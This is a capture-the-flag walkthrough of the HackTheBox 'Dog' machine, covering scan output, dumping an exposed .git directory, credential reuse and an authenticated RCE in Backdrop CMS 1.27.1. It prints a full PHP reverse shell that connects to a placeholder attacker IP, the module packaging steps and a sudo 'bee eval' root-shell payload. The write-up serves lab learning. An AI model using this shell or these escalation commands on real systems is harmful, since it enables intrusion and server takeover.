HackTheBox Dog Writeup

TL;DR

This writeup covers the Dog machine, an easy-rated Linux box. Initial enumeration revealed open ports 22 (SSH) and 80 (Apache) hosting a Backdrop CMS website. Adding dog.htb to /etc/hosts enabled proper domain resolution. A .git directory was exposed on the web server, allowing me to dump and analyze the source code using gitdumper. Reviewing the extracted files, I found database credentials in settings.php, but they didn’t work for the login page. Further enumeration of .git revealed additional user emails, leading to successful login with Tiffany’s credentials. Backdrop CMS v1.27.1 was outdated and vulnerable to an authenticated RCE exploit, which I leveraged to gain a reverse shell as www-data. Enumerating the system, I found credentials for johncusack, allowing me to escalate to a user shell. Checking sudo -l revealed that bee, a Backdrop CLI utility, could be executed as root. Using its eval function, I executed arbitrary PHP commands to escalate privileges and gain a root shell, capturing the final flag.

Scanning Network

I began by performing an Nmap scan, which revealed open ports 22 and 80, corresponding to OpenSSH, and Apache 2.4.41. Here are the results from the Nmap scan:

nmap -sC -sV -A -T4 -Pn 10.129.20.187 -oN scan/normal.scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 08:38 IST
Nmap scan report for 10.129.20.187
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-git: 
|   10.129.20.187:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Home | Dog
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Backdrop CMS is hosted on Apache 2.4.41, running on port 80.

Enumeration

The Nmap scan revealed that the IP address was linked to the domain dog.htb. Therefore, I added this domain to the "/etc/hosts" file.

The website features a login page.

Before proceeding, I performed directory fuzzing to discover hidden files and directories on the website.

 dirsearch -u http://dog.htb/ -x 403,400,404 -o dir.fuzz

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: dir.fuzz

Target: http://dog.htb/

[19:54:22] Starting: 
[19:54:33] 200 -   95B  - /.git/COMMIT_EDITMSG
[19:54:33] 200 -  405B  - /.git/branches/
[19:54:33] 200 -  601B  - /.git/
[19:54:33] 200 -   73B  - /.git/description
[19:54:33] 200 -   92B  - /.git/config
[19:54:33] 200 -   23B  - /.git/HEAD
[19:54:33] 200 -  648B  - /.git/hooks/
[19:54:33] 200 -  453B  - /.git/info/
[19:54:33] 200 -  240B  - /.git/info/exclude
[19:54:33] 200 -  473B  - /.git/logs/
[19:54:33] 200 -  230B  - /.git/logs/HEAD
[19:54:33] 301 -  311B  - /.git/logs/refs  ->  http://dog.htb/.git/logs/refs/
[19:54:33] 301 -  317B  - /.git/logs/refs/heads  ->  http://dog.htb/.git/logs/refs/heads/
[19:54:33] 200 -  230B  - /.git/logs/refs/heads/master
[19:54:33] 200 -  456B  - /.git/refs/
[19:54:33] 200 -   41B  - /.git/refs/heads/master
[19:54:33] 301 -  312B  - /.git/refs/heads  ->  http://dog.htb/.git/refs/heads/
[19:54:33] 301 -  301B  - /.git  ->  http://dog.htb/.git/
[19:54:33] 301 -  311B  - /.git/refs/tags  ->  http://dog.htb/.git/refs/tags/
[19:54:33] 200 -    2KB - /.git/objects/
[19:54:34] 200 -  337KB - /.git/index
[19:55:44] 301 -  301B  - /core  ->  http://dog.htb/core/
[19:55:57] 200 -  584B  - /files/
[19:55:57] 301 -  302B  - /files  ->  http://dog.htb/files/
[19:56:08] 200 -    4KB - /index.php
[19:56:12] 200 -  453B  - /layouts/
[19:56:13] 200 -    7KB - /LICENSE.txt
[19:56:23] 301 -  304B  - /modules  ->  http://dog.htb/modules/
[19:56:23] 200 -  400B  - /modules/
[19:56:41] 200 -    5KB - /README.md
[19:56:44] 200 -  528B  - /robots.txt
[19:56:47] 200 -    0B  - /settings.php
[19:56:50] 301 -  302B  - /sites  ->  http://dog.htb/sites/
[19:57:00] 200 -  451B  - /themes/
[19:57:00] 301 -  303B  - /themes  ->  http://dog.htb/themes/

Task Completed

During enumeration, I found an exposed /.git directory.

I used gitdumper to extract all accessible references and logs from /.git.

After dumping the repository, I used the extractor tool to retrieve files from the /.git directory.

After extracting the /.git directory, I analyzed the .php files.

I found the Backdrop CMS configuration file, which revealed that it was running v1.27.1, an outdated release.

While exploring the directory, I found settings.php, which contained database credentials.

Since I had database credentials and access to a login page, my first assumption was that the developer had reused the database password for authentication.

While browsing the website, I discovered some usernames.

None of these usernames worked with the database password.

Since I had access to /.git, I searched for user emails using grep @dog.htb.

grep -R "@dog.htb" *

I found two more users as [email protected] and [email protected], so I decided to try for both using the database password.

Exploitation

I successfully logged in as Tiffany using the database password.

Next, I searched for vulnerabilities in the outdated Backdrop CMS version.

BackDrop CMS v1.27.1 is vulnerable to Authenticated Remote Code Execution (RCE).

Backdrop CMS 1.27.1 has an Authenticated Remote Command Execution (RCE) vulnerability in its module upload feature, allowing attackers to upload a malicious ZIP archive. The exploit involves creating shell.zip containing shell.info (a dummy module descriptor) and shell.php (a backdoor). Once uploaded and extracted, the attacker accesses shell.php to execute arbitrary system commands. This can lead to full server compromise, allowing privilege escalation or data exfiltration. Mitigation includes updating Backdrop CMS, restricting module uploads, and validating file contents.

Manual Exploitation

Every Backdrop CMS modules requires a .info file which contains metadata of the module and the .php file which contains PHP code of the functionality.

Let’s look into an example .info file.

Example block.info

type = module
name = Block
description = Controls the visual building blocks a page is constructed with. Blocks are boxes of content rendered into an area, or region, of a web page.
package = Layouts
tags[] = Blocks
tags[] = Site Architecture
version = BACKDROP_VERSION
backdrop = 1.x

configure = admin/structure/block
; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662

Backdrop CMS v1.27.1 does not properly validate the file content of a module during installation. Due to this insufficient validation, I can inject a PHP reverse shell into a .php file within the module’s functionality.

Here’s the reverse PHP shell in the .php file.

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = "<attacker's IP>";  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

Now, let’s make tar.gz by including .info & .php file.

tar -cvzf shell.tar.gz shell/

Exploit-DB exploit

I ran the exploit to generate a sample module ZIP file.

I extracted the ZIP file, and found shell.info and shell.php file. I replaced shell.php with a PHP reverse shell.

While browsing the install module option, I discovered that only certain file extensions were allowed.

I have zipped the folder via tar.

tar -cvzf shell.tar.gz shell/

Next, I uploaded the module and opened a Netcat listener to trigger the reverse shell.

While browsing, I came across two users: jobert and johncusack.

The user flag was located under johncusack, so I tried using the database password for johncusack, and it worked.

Post Exploitation

Let’s run sudo -l to check which list of commands that the current user can run with elevated privileges using sudo.

Bee is the command-line utility for BackDrop CMS.

Let’s craft the payload. The --root flag specifies the root directory for Backdrop CMS.

In my case the root directory path was /var/www/html.

Initial Payload -

sudo /usr/local/bin/bee --root=/var/www/html

While exploring advanced options in bee, I discovered the eval flag, which allows arbitrary PHP execution.

I used the eval flag to execute a PHP command and gain a root shell.

Final Payload -

sudo /usr/local/bin/bee --root=/var/www/html eval "echo shell_exec('/bin/sh');"

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